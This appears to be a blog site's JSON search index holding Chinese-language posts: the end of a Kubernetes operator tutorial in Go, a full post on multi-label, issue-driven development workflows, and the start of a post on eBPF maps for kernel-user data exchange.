{\u0026quot;kind\u0026quot;:\u0026quot;Lease\u0026quot;,\u0026quot;namespace\u0026quot;:\u0026quot;webserver-operator-system\u0026quot;,\u0026quot;name\u0026quot;:\u0026quot;63e5a746.my.domain\u0026quot;,\u0026quot;uid\u0026quot;:\u0026quot;e05aaeb5-4a3a-4272-b036-80d61f0b6788\u0026quot;,\u0026quot;apiVersion\u0026quot;:\u0026quot;coordination.k8s.io/v1\u0026quot;,\u0026quot;resourceVersion\u0026quot;:\u0026quot;5238800\u0026quot;}, \u0026quot;reason\u0026quot;: \u0026quot;LeaderElection\u0026quot;, \u0026quot;message\u0026quot;: \u0026quot;webserver-operator-controller-manager-6f45bc88f7-ptxlc_0e960015-9fbe-466d-a6b1-ff31af63a797 became leader\u0026quot;} 1.6600280970724993e+09 INFO Starting EventSource {\u0026quot;controller\u0026quot;: \u0026quot;webserver\u0026quot;, \u0026quot;controllerGroup\u0026quot;: \u0026quot;my.domain\u0026quot;, \u0026quot;controllerKind\u0026quot;: \u0026quot;WebServer\u0026quot;, \u0026quot;source\u0026quot;: \u0026quot;kind source: *v1.WebServer\u0026quot;} 1.6600280970725305e+09 INFO Starting Controller {\u0026quot;controller\u0026quot;: \u0026quot;webserver\u0026quot;, \u0026quot;controllerGroup\u0026quot;: \u0026quot;my.domain\u0026quot;, \u0026quot;controllerKind\u0026quot;: \u0026quot;WebServer\u0026quot;} 1.660028097173026e+09 INFO Starting workers {\u0026quot;controller\u0026quot;: \u0026quot;webserver\u0026quot;, \u0026quot;controllerGroup\u0026quot;: \u0026quot;my.domain\u0026quot;, \u0026quot;controllerKind\u0026quot;: \u0026quot;WebServer\u0026quot;, \u0026quot;worker count\u0026quot;: 1} 可以看到，controller已经成功启动，正在等待一个WebServer CR的相关事件(比如创建)！下面我们就来创建一个WebServer CR!\n10. 创建WebServer CR webserver-operator项目中有一个CR sample，位于config/samples下面，我们对其进行改造，添加我们在spec中加入的字段：\n// config/samples/_v1_webserver.yaml apiVersion: my.domain/v1 kind: WebServer metadata: name: webserver-sample spec: # TODO(user): Add fields here image: nginx:1.23.1 replicas: 3 我们通过kubectl创建该WebServer CR：\n$cd config/samples $kubectl apply -f _v1_webserver.yaml webserver.my.domain/webserver-sample created 观察controller的日志：\n1.6602084232243123e+09 INFO controllers.WebServer Creating a new Deployment {\u0026quot;Webserver\u0026quot;: \u0026quot;default/webserver-sample\u0026quot;, \u0026quot;Deployment.Namespace\u0026quot;: \u0026quot;default\u0026quot;, \u0026quot;Deployment.Name\u0026quot;: \u0026quot;webserver-sample\u0026quot;} 1.6602084233446114e+09 INFO controllers.WebServer Creating a new Service {\u0026quot;Webserver\u0026quot;: \u0026quot;default/webserver-sample\u0026quot;, \u0026quot;Service.Namespace\u0026quot;: \u0026quot;default\u0026quot;, \u0026quot;Service.Name\u0026quot;: \u0026quot;webserver-sample-service\u0026quot;} 我们看到当CR被创建后，controller监听到相关事件，创建了对应的Deployment和service，我们查看一下为CR创建的Deployment、三个Pod以及service：\n$kubectl get service NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE kubernetes ClusterIP 172.26.0.1 \u0026lt;none\u0026gt; 443/TCP 22d webserver-sample-service NodePort 172.26.173.0 \u0026lt;none\u0026gt; 80:30010/TCP 2m58s $kubectl get deployment NAME READY UP-TO-DATE AVAILABLE AGE webserver-sample 3/3 3 3 4m44s $kubectl get pods NAME READY STATUS RESTARTS AGE webserver-sample-bc698b9fb-8gq2h 1/1 Running 0 4m52s webserver-sample-bc698b9fb-vk6gw 1/1 Running 0 4m52s webserver-sample-bc698b9fb-xgrgb 1/1 Running 0 4m52s 我们访问一下该服务：\n$curl http://192.168.10.182:30010 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Welcome to nginx!\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; html { color-scheme: light dark; } body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Welcome to nginx!\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;If you see this page, the nginx web server is successfully installed and working. Further configuration is required.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;For online documentation and support please refer to \u0026lt;a href=\u0026quot;http://nginx.org/\u0026quot;\u0026gt;nginx.org\u0026lt;/a\u0026gt;.\u0026lt;br/\u0026gt; Commercial support is available at \u0026lt;a href=\u0026quot;http://nginx.com/\u0026quot;\u0026gt;nginx.com\u0026lt;/a\u0026gt;.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;em\u0026gt;Thank you for using nginx.\u0026lt;/em\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 服务如预期返回响应！\n11. 伸缩、变更版本和Service自愈 接下来我们来对CR做一些常见的运维操作。\n副本数由3变为4 我们将CR的replicas由3改为4，对容器实例做一次扩展操作：\n// config/samples/_v1_webserver.yaml apiVersion: my.domain/v1 kind: WebServer metadata: name: webserver-sample spec: # TODO(user): Add fields here image: nginx:1.23.1 replicas: 4 然后通过kubectl apply使之生效：\n$kubectl apply -f _v1_webserver.yaml webserver.my.domain/webserver-sample configured 上述命令执行后，我们观察到operator的controller日志如下：\n1.660208962767797e+09 INFO controllers.WebServer Deployment spec.replicas change {\u0026quot;Webserver\u0026quot;: \u0026quot;default/webserver-sample\u0026quot;, \u0026quot;from\u0026quot;: 3, \u0026quot;to\u0026quot;: 4} 稍后，查看pod数量：\n$kubectl get pods NAME READY STATUS RESTARTS AGE webserver-sample-bc698b9fb-8gq2h 1/1 Running 0 9m41s webserver-sample-bc698b9fb-v9gvg 1/1 Running 0 42s webserver-sample-bc698b9fb-vk6gw 1/1 Running 0 9m41s webserver-sample-bc698b9fb-xgrgb 1/1 Running 0 9m41s webserver pod副本数量成功从3扩为4。\n变更webserver image版本 我们将CR的image的版本从nginx:1.23.1改为nginx:1.23.0，然后执行kubectl apply使之生效。\n我们查看controller的响应日志如下：\n1.6602090494113188e+09 INFO controllers.WebServer Deployment spec.template.spec.container[0].image change {\u0026quot;Webserver\u0026quot;: \u0026quot;default/webserver-sample\u0026quot;, \u0026quot;from\u0026quot;: \u0026quot;nginx:1.23.1\u0026quot;, \u0026quot;to\u0026quot;: \u0026quot;nginx:1.23.0\u0026quot;} controller会更新deployment，导致所辖pod进行滚动升级：\n$kubectl get pods NAME READY STATUS RESTARTS AGE webserver-sample-bc698b9fb-8gq2h 1/1 Running 0 10m webserver-sample-bc698b9fb-vk6gw 1/1 Running 0 10m webserver-sample-bc698b9fb-xgrgb 1/1 Running 0 10m webserver-sample-ffcf549ff-g6whk 0/1 ContainerCreating 0 12s webserver-sample-ffcf549ff-ngjz6 0/1 ContainerCreating 0 12s 耐心等一小会儿，最终的pod列表为：\n$kubectl get pods NAME READY STATUS RESTARTS AGE webserver-sample-ffcf549ff-g6whk 1/1 Running 0 6m22s webserver-sample-ffcf549ff-m6z24 1/1 Running 0 3m12s webserver-sample-ffcf549ff-ngjz6 1/1 Running 0 6m22s webserver-sample-ffcf549ff-t7gvc 1/1 Running 0 4m16s service自愈：恢复被无删除的Service 我们来一次“误操作”，将webserver-sample-service删除，看看controller能否帮助service自愈：\n$kubectl delete service/webserver-sample-service service \u0026quot;webserver-sample-service\u0026quot; deleted 查看controller日志：\n1.6602096994710526e+09 INFO controllers.WebServer Creating a new Service {\u0026quot;Webserver\u0026quot;: \u0026quot;default/webserver-sample\u0026quot;, \u0026quot;Service.Namespace\u0026quot;: \u0026quot;default\u0026quot;, \u0026quot;Service.Name\u0026quot;: \u0026quot;webserver-sample-service\u0026quot;} 我们看到controller检测到了service被删除的状态，并重建了一个新service！\n访问新建的service：\n$curl http://192.168.10.182:30010 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Welcome to nginx!\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; html { color-scheme: light dark; } body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Welcome to nginx!\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;If you see this page, the nginx web server is successfully installed and working. Further configuration is required.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;For online documentation and support please refer to \u0026lt;a href=\u0026quot;http://nginx.org/\u0026quot;\u0026gt;nginx.org\u0026lt;/a\u0026gt;.\u0026lt;br/\u0026gt; Commercial support is available at \u0026lt;a href=\u0026quot;http://nginx.com/\u0026quot;\u0026gt;nginx.com\u0026lt;/a\u0026gt;.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;em\u0026gt;Thank you for using nginx.\u0026lt;/em\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 可以看到service在controller的帮助下完成了自愈！\n五. 小结 本文对Kubernetes Operator的概念以及优点做了初步的介绍，并基于kubebuilder这个工具开发了一个具有2级能力的operator。当然这个operator离完善还有很远的距离，其主要目的还是帮助大家理解operator的概念以及实现套路。\n相信你阅读完本文后，对operator，尤其是其基本结构会有一个较为清晰的了解，并具备开发简单operator的能力！\n文中涉及的源码可以在这里下载 – https://github.com/bigwhite/experiments/tree/master/webserver-operator。\n六. 参考资料 kubernetes operator 101, Part 1: Overview and key features – https://developers.redhat.com/articles/2021/06/11/kubernetes-operators-101-part-1-overview-and-key-features Kubernetes Operators 101, Part 2: How operators work – https://developers.redhat.com/articles/2021/06/22/kubernetes-operators-101-part-2-how-operators-work Operator SDK: Build Kubernetes Operators – https://developers.redhat.com/blog/2020/04/28/operator-sdk-build-kubernetes-operators-and-deploy-them-on-openshift kubernetes doc: Custom Resources – https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/ kubernetes doc: Operator pattern – https://kubernetes.io/docs/concepts/extend-kubernetes/operator/ kubernetes doc: API concepts – https://kubernetes.io/docs/reference/using-api/api-concepts/ Introducing Operators: Putting Operational Knowledge into Software 第一篇有关operator的文章 by coreos – https://web.archive.org/web/20170129131616/https://coreos.com/blog/introducing-operators.html CNCF Operator白皮书v1.0 – https://github.com/cncf/tag-app-delivery/blob/main/operator-whitepaper/v1/Operator-WhitePaper_v1-0.md Best practices for building Kubernetes Operators and stateful apps – https://cloud.google.com/blog/products/containers-kubernetes/best-practices-for-building-kubernetes-operators-and-stateful-apps A deep dive into Kubernetes controllers – https://docs.bitnami.com/tutorials/a-deep-dive-into-kubernetes-controllers Kubernetes Operators Explained – https://blog.container-solutions.com/kubernetes-operators-explained 书籍《Kubernetes Operator》 – https://book.douban.com/subject/34796009/ 书籍《Programming Kubernetes》 – https://book.douban.com/subject/35498478/ Operator SDK Reaches v1.0 – https://cloud.redhat.com/blog/operator-sdk-reaches-v1.0 What is the difference between kubebuilder and operator-sdk – https://github.com/operator-framework/operator-sdk/issues/1758 Kubernetes Operators in Depth – https://www.infoq.com/articles/kubernetes-operators-in-depth/ Get started using Kubernetes Operators – https://developer.ibm.com/learningpaths/kubernetes-operators/ Use Kubernetes operators to extend Kubernetes’ functionality – https://developer.ibm.com/learningpaths/kubernetes-operators/operators-extend-kubernetes/ memcached operator – https://github.com/operator-framework/operator-sdk-samples/tree/master/go/memcached-operator “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/08/15/developing-kubernetes-operators-in-go-part1/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/developing-kubernetes-operators-in-go-part1-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/08/15/developing-kubernetes-operators-in-go-part1\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/08/15/developing-kubernetes-operators-in-go-part1\"\u003ehttps://tonybai.com/2022/08/15/developing-kubernetes-operators-in-go-part1\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注：文章首图基于《Kubernetes Operators Explained》修改\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2018/10/17/imooc-course-kubernetes-practice-go-online/\"\u003e几年前，我还称Kubernetes为服务编排和容器调度领域的事实标准\u003c/a\u003e，如今K8s已经是这个领域的“霸主”，地位无可撼动。不过，虽然Kubernetes发展演化到今天已经变得非常复杂，但是Kubernetes最初的数据模型、应用模式与扩展方式却依然有效。并且像\u003ca href=\"https://kubernetes.io/docs/concepts/extend-kubernetes/operator/\"\u003eOperator这样的应用模式和扩展方式\u003c/a\u003e日益受到开发者与运维者的欢迎。\u003c/p\u003e\n\u003cp\u003e我们的平台内部存在有状态(stateful)的后端服务，对有状态的服务的部署和运维是k8s operator的\u003cstrong\u003e拿手好戏\u003c/strong\u003e，是时候来研究一下operator了。\u003c/p\u003e","title":"使用Go开发Kubernetes Operator：基本结构"},{"content":"\n本文永久链接 – https://tonybai.com/2022/08/12/practices-of-multi-label-based-issue-driven-software-development\n软件吞噬世界，开源吞噬软件！基于工单跟踪系统(issue tracking system)的issue driven开发的模式不仅对开源系统的开发过程有着重要影响，在商业软件开发领域，越来越多的公司和组织也在使用issue-driven的开发方式。\n对于这里提到的issue(工单)，我们不能向过去那样仅仅将其理解为bug，那样就太过狭义且过时了。如今的issue承载的信息“包罗万象”，凡是与project/repo相关的事情都通过issue形式提出，包括新特性、bug、改善、技术提案、任务、讨论等等。\n有了issue tracking system后，我们将面临一个问题，那就是如何组织issue使得基于issue-driven的软件开发过程更加科学有效率呢？为此我拜读了几篇有关issue组织和管理的Empirical study(实证研究)的paper(阅读地址见“参考资料”一节)，这里综合了一下paper的结论：\n使用标签(label)有利于软件项目中问题的解决； 使用多标签(multiple label)功能的项目能更有效地管理他们的issue。 关键词get到了么？没错，就是“多标签”。使用多标签对issue进行组织可以更有效的对issue进行管理。那么设置哪些标签，又如何给issue打多个标签呢？关于这些问题，paper没有给出答案，还是需要我们自行实践探索。\n本文我就给出一种基于多label的issue驱动的软件开发实践的思路，供各位童鞋参考，但注意：这不是最佳实践哦，仅是一种可行的(甚至还不成熟的）实践而已，各位读者也可以在该实践的基础上自行扩展。\n1. label管理，分类先行 Go项目采用多标签组织issue的示意图\nissue tracking system大多内置一套label供你直接选择使用，比如下面就是github和gitlab提供的默认issue labels：\ngithub的默认issue label集合\nbug enhancement document duplicate good first issue help wanted invalid question wontfix gitlab的默认issue label集合\nbug enhancement documentation suggestion discussion support confirmed critical 同时issue tracking system也支持自定义label，但我们不能无脑地定义新label，要考虑label的功用，对其进行科学分类(categorizezation)。\n我们分析一下上面github和gitlab提供的默认labels，多数用于表示issue的类别(category)，因此我们首先要定义一组能表示issue类别的labels，这个可综合上述的默认label集合，并结合日常工作上下文的需要来定制。\n比如，我这里就定制了如下表示issue类别(category)的label集合：\n- bug - feature - task - proposal - enhancement - suggestion - discussion 这些label是整个issue-driven开发的基础，每个新创建的issue必然要首先被赋予(assign)一个代表类别的label，秉着最常用的label要尽量的短的原则，我们用单个单词来表示每个label，没有使用前缀字符串。\n接下来，我们再来定义几组label集合：\n代表工作流(workflow)的label集合\nworkflow/confirmed workflow/accepted workflow/need-investigation workflow/wait-for-info workflow/need-proposal workflow/need-review workflow/declined workflow/blocked workflow/wontfix workflow/duplicate 之所以要带上workflow前缀，是为了减少开发人员在选择label时考虑label究竟是哪一类集合的负担，通过前缀一目了然。\n代表优先级(priority)的label集合\npriority/critical priority/release-blocker priority/security priority/urgent 代表涉及组件(component)的label集合\ncomponent/proto component/tracing component/logging component/metrics component/api \u0026hellip; \u0026hellip; 在定义不同功用的label集合时，务必注意以下几点：\n一般不需要定制诸如todo这样的label 哪个放入issue系统中的新建issue不是要todo的，再定义一个todo label有些多此一举的感觉。另外很多自带看板功能的代码仓库管理工具，在issue被纳入某个milestone后，会自动将你新创建的issue列入到该milestone看板中的todo列中。\nissue的版本信息可用milestone来标定 我们一般无需创建持有版本信息的label，可以利用milestone(里程碑)标识issue的版本属性。\n自上而下定义label集合 对于同一个组织而言，工作流的一致性很重要，这样就需要我们自上而下的定义label集合，而不是每个project都定义自己的label集合。\n如果你使用的是gitlab(据调查，国内多数公司使用的都是gitlab)，由于gitlab中group支持label定义，我们可以在顶层group中定义一套label集合，这样其下面的subgroup和project repo都可以“继承”这套label集合了。\n如果project有个性化的label需求，project可以在统一的label集合的基础上再自定义自己的label，这样就会避免大量重复定义，也保持了label集合的一致性，为后续workflow运转奠定基础。\n定义完这几类issue后，我们再来看看issue从创建到驱动开发“运转”起来的过程是什么样的。\n2. 基于多label issue驱动的工作流 基于多label issue驱动的工作流的示意图\n1) 规划和创建milestone 无论采用哪种开发过程(瀑布、迭代还是敏捷)，最终都是要输出成果物，我们通常会将每个版本成果物输出作为一个milestone，因此在创建issue之前，我们首先会规划和创建milestone，而milestone本身也内含了issue的版本属性。\n如果你使用的是gitlab，你既可以在group这一层设置milestone，也可以在某个具体的project上设置milestone。\n如果你的输出输一个包含多个服务的产品，那么在group/subgroup这一层设置milestone可以统一产品的发布版本。\n此外，我们可以在适当层级上建立backlog这个长期的milestone用于将那些尚未分配版本的issue收集起来。\n一旦如此规划和创建好milestone，leader后续就可以面向milestone进行管理了。接下来我们就可以来创建issue了。\n2) 创建issue，选择category label 我们的workflow要求：每当开发人员、测试人员、leader或相关人员创建一个issue后，务必要选择一个category label。\n- bug：导致产品或服务未按预期工作的问题 - feature：新增的功能特性或非功能特性 - enhancement：已有特性机制的增强与优化 - task：与产品/服务相关的任务，可能不需要编码 - discussion：发起一次针对特定话题的讨论，需要团队member积极参与 - suggestion：针对产品/服务的建议，需要团队member参与review - proposal：针对产品某功能特性或非功能特性的技术提案，issue中通过markdown语法填写proposal的提案内容，供大家review 为issue选择一个category label是后续推动workflow流动起来的前提与基础。\n3) 选择版本milestone 为刚刚创建的issue选择一个milestone。\n对于bug、feature、enhancement类的issue，选择在哪个版本(milestone)里完成。而尚未确定的issue，可以放入backlog milestone，待后续重新放入版本milestone\n对于其他category类型的issue，比如proposal、discussion，可以先无需选择版本milestone，可先放入backlog。\n4) 选择workflow类别的label 接下来，我们就需要根据issue的类别，为其赋予适当的workflow label，让issue进入工作流中。\n对于bug类型的issue 对于bug类issue，如果不明确是否为bug或证据不足，可以选择workflow/need-investigation或workflow/wait-for-info；\n在调查之后，如果确定是bug，那么需要有开发人员或leader去掉上面的workflow标签，然后重新赋予workflow/confirmed标签。只有经过confirmed的issue，才可以纳入版本milestone跟踪起来，没有confirmed的bug issue，可放入backlog milestone中等待确认；\n如果是重复的issue，可以选择workflow/duplicate，然后我们可以close这个duplicate issue；\n对于非bug，或经评估后无需fix的issue，可以选择workflow/wontfix，然后close issue。\n对于feature或enhancement类的issue 如果需要做技术调研，可以选择workflow/need-investigation；\n如果需要技术提案/设计实现方案，可选择workflow/need-proposal；\n如果需要issue提出者给出更多信息，可以选择workflow/wait-for-info；\n如果接受feature或enhancement类issue，可以选择workflow/accepted，然后确认其处于正确的版本milestone中。\n对于proposal类issue 对于proposal类issue，团队需要决策是否接受该提案，初期可以选择workflow/need-review，在经过review后可以选择是否接受，如果接受，选择workflow/accepted，一旦accepted，便可以新选择纳入哪个milestone中落地。如果不接受，那么选择workflow/declined(拒绝)，然后close issue。\n最后，对于因各种原因暂时无法继续下去的issue，可以选择workflow/blocked。等导致阻塞的问题解除后，再为该issue重新选择workflow label。\n5) 选择issue优先级(可选) issue通常无需选择优先级。只要纳入版本milestone，在milestone范围内都是需要完成的。\n不过，我们也自定义了一些用于需要“着重”关注的优先级label，供灵活使用。\n- critical - 关键issue, milestone内必须要完成的 - release-blocker - 通常针对bug类issue，如果该issue不解决，milestone无法按时完成和发布 - security - 安全类issue，提升issue优先级 - urgent - 紧急突发类issue，可以用于patch补丁的issue 6) 选择component(可选) 为issue选择component类标签更多是为了统计和过滤使用。这里的logging、tracing、metrics等仅做举例之用，大家可以根据自己的产品/project上下文定义必要的component标签。\n7) 基于workflow标签驱动 当我们完成一轮label赋值后，开发人员便依据issue在workflow中所处状态开始后续工作，一旦工作告一段落，会改变issue的workflow标签，直到issue完成被close。\n3. 小结 本文提出了一种基于多label issue驱动的软件开发的实践思路，通过这种思路，可以让一个团队围绕issue tracing system有机的运转起来。\n如果issue众多，人工管理不便的情况下，还可以引入issue bot按设定好的规则对issue的状态做自动维护以及相应的提醒，这个我后续如有空闲会继续说。\n4. 参考资料 《如何使用Issue管理软件项目》 – https://www.ruanyifeng.com/blog/2017/08/issue.html 《The Complete Guide to Issue Tracking Best Practices》 – https://kissflow.com/issue-tracking/issue-tracking-best-practices-guide/ 《Exploring the use of labels to categorize issues in Open-Source Software projects》- https://ieeexplore.ieee.org/document/7081875 《An Empirical Study on Using Multi-Labels for Issues in GitHub》- https://ieeexplore.ieee.org/abstract/document/9550775 “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/08/12/practices-of-multi-label-based-issue-driven-software-development/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/practices-of-multi-label-based-issue-driven-software-development-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/08/12/practices-of-multi-label-based-issue-driven-software-development\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/08/12/practices-of-multi-label-based-issue-driven-software-development\"\u003ehttps://tonybai.com/2022/08/12/practices-of-multi-label-based-issue-driven-software-development\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e软件吞噬世界，开源吞噬软件！基于工单跟踪系统(issue tracking system)的\u003cstrong\u003eissue driven开发\u003c/strong\u003e的模式不仅对开源系统的开发过程有着重要影响，在商业软件开发领域，越来越多的公司和组织也在使用issue-driven的开发方式。\u003c/p\u003e","title":"基于多label的issue驱动软件开发的实践"},{"content":"\n本文永久链接 – https://tonybai.com/2022/07/25/bidirectional-data-exchange-between-kernel-and-user-states-of-ebpf-programs-using-go\n在之前的两篇文章中，无论是使用C语言开发eBPF程序，还是使用Go开发的eBPF程序，都是hello world级别的，可能有用，但谈不上十分实用。\n通常来说，一个实用的eBPF程序，它的内核态部分与用户态部分是有数据交换的，有了这种数据交换，eBPF才能发挥更大的威力。而要想让eBPF程序具备较强的实用性，eBPF MAP是绕不过去的机制。\n在这一篇有关eBPF程序开发的文章中，我们就来看看如何使用Go基于BPF MAP实现eBPF程序内核态与用户态的双向数据交换。\n一. why BPF MAP？ 永远不要忘记BPF字节码是运行于OS内核态的代码，这就意味着它与用户态是有“泾渭分明”的界限的。我们知道用户态要想访问内核态的数据，通常仅能通过系统调用陷入内核态来实现。因此，在BPF内核态程序中创建的各种变量实例仅能由内核态的代码访问。\n那我们如何将BPF代码在内核态获取到的有用的数据返回到用户态用于监控、计算、决策、展示、存储呢？用户态代码又是如何在运行时向内核态传递数据以改变BPF代码的运行策略呢？\nLinux内核BPF开发者于是就引入了BPF MAP机制。BPF MAP为BPF程序的内核态与用户态提供了一个双向数据交换的通道。同时由于bpf map存储在内核分配的内存空间，处于内核态，可以被运行于在内核态的多个BPF程序所共享，同样可以作为多个BPF程序交换和共享数据的机制。\n二. BPF MAP不是狭义的map数据结构 BPF MAP究竟是什么呢？它不是我们狭义理解的哈希映射表的数据结构，而是一种通用数据结构，可以存储不同类型数据的通用数据结构。用著名内核BPF开发者Andrii Nakryiko的话来说，MAP就是BPF中代表抽象数据容器(abstract data container)的一个概念。\n截至目前，内核BPF支持的MAP类型已经有20+种，下面是libbpf中bpf.h中列出的当前支持的MAP类型：\n// libbpf/include/uapi/linux/bpf.h enum bpf_map_type { BPF_MAP_TYPE_UNSPEC, BPF_MAP_TYPE_HASH, BPF_MAP_TYPE_ARRAY, BPF_MAP_TYPE_PROG_ARRAY, BPF_MAP_TYPE_PERF_EVENT_ARRAY, BPF_MAP_TYPE_PERCPU_HASH, BPF_MAP_TYPE_PERCPU_ARRAY, BPF_MAP_TYPE_STACK_TRACE, BPF_MAP_TYPE_CGROUP_ARRAY, BPF_MAP_TYPE_LRU_HASH, BPF_MAP_TYPE_LRU_PERCPU_HASH, BPF_MAP_TYPE_LPM_TRIE, BPF_MAP_TYPE_ARRAY_OF_MAPS, BPF_MAP_TYPE_HASH_OF_MAPS, BPF_MAP_TYPE_DEVMAP, BPF_MAP_TYPE_SOCKMAP, BPF_MAP_TYPE_CPUMAP, BPF_MAP_TYPE_XSKMAP, BPF_MAP_TYPE_SOCKHASH, BPF_MAP_TYPE_CGROUP_STORAGE, BPF_MAP_TYPE_REUSEPORT_SOCKARRAY, BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE, BPF_MAP_TYPE_QUEUE, BPF_MAP_TYPE_STACK, BPF_MAP_TYPE_SK_STORAGE, BPF_MAP_TYPE_DEVMAP_HASH, BPF_MAP_TYPE_STRUCT_OPS, BPF_MAP_TYPE_RINGBUF, BPF_MAP_TYPE_INODE_STORAGE, BPF_MAP_TYPE_TASK_STORAGE, BPF_MAP_TYPE_BLOOM_FILTER, }; 这里数据结构类型众多，但不是本文的重点，我们不一一介绍了。其中的BPF_MAP_TYPE_HASH类型是BPF支持的第一种MAP数据结构，这个类型可以理解为我们日常接触的hash映射表，通过键值对的形式索引数据。在后续的例子中我们将使用这种类型的MAP。\n那么BPF MAP是如何可以在内核态与用户态共享数据的？原理是什么呢？\n从bpf这个系统调用的说明中，我们能找到端倪。下面是bpf系统调用的函数原型：\n// https://man7.org/linux/man-pages/man2/bpf.2.html #include \u0026lt;linux/bpf.h\u0026gt; int bpf(int cmd, union bpf_attr *attr, unsigned int size); 从bpf的原型来看，似乎比较简单。但bpf其实是一个“富调用”，即不止能干一件事，通过cmd传入的值不同，它可以围绕BPF完成很多事情。最主要的功能是加载bpf程序(cmd=BPF_PROG_LOAD)，其次是围绕MAP的一系列操作，包括创建MAP(cmd=BPF_MAP_CREATE)、MAP元素查询(cmd=BPF_MAP_LOOKUP_ELEM)、MAP元素值更新(cmd=BPF_MAP_UPDATE_ELEM)等。\n当cmd=BPF_MAP_CREATE时，即bpf执行创建MAP的操作后，bpf调用会返回一个文件描述符fd，通过该fd后续可以操作新创建的MAP。通过fd访问map，这个很unix！\n当然这么底层的系统调用，一般BPF用户态开发人员无需接触到，像libbpf就包装了一系列的map操作函数，这些函数不会暴露map fd给用户，简化了使用方法，提升了使用体验。\n下面我们先来看一下如何用C语言实现基于map的BPF用户态与内核态的数据交换。\n三. 使用C基于libbpf使用map的示例 这个示例改造自helloworld示例。原helloworld示例在execve这个系统调用被调用时输出一条内核日志(在/sys/kernel/debug/tracing/trace_pipe中可以查看到)，用户态程序并没有与内核态程序做任何数据交换。\n在这个新示例(execve_counter)中，我们依然跟踪系统调用execve，不同的是我们对execve进行调用计数，并将技术存储在BPF MAP中。而用户态部分程序则读取该MAP中的计数并定时输出计数值。\n我们先来看看BPF内核态部分的源码：\n// 